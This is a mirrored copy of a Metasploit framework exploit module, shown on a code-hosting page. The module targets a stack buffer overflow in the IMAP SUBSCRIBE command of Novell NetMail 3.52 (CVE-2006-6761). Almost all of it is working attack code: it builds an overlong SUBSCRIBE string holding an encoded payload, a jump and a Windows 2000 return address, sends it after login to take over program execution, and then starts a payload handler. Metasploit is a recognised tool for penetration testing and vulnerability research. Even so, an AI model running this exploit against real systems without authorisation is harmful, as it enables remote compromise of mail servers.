Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/novell_netmail_subscribe.rb
21628 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Imap
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Novell NetMail IMAP SUBSCRIBE Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE
18
verb. By sending an overly long string, an attacker can overwrite the
19
buffer and control program execution.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2006-6761' ],
25
[ 'OSVDB', '31360' ],
26
[ 'BID', '21728' ],
27
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=454' ],
28
],
29
'Privileged' => true,
30
'DefaultOptions' => {
31
'EXITFUNC' => 'thread',
32
},
33
'Payload' => {
34
'Space' => 500,
35
'BadChars' => "\x00\x0a\x0d\x20",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],
41
],
42
'DefaultTarget' => 0,
43
'DisclosureDate' => '2006-12-23',
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
end
52
53
def exploit
54
sploit = "a002 SUBSCRIBE #" + rand_text_english(1602) + payload.encoded
55
sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
56
sploit << [0xe8, -485].pack('CV') + rand_text_english(150)
57
58
info = connect_login
59
60
if (info == true)
61
print_status("Trying target #{target.name}...")
62
sock.put(sploit + "\r\n")
63
else
64
print_status("Not falling through with exploit")
65
end
66
67
handler
68
disconnect
69
end
70
end
71
72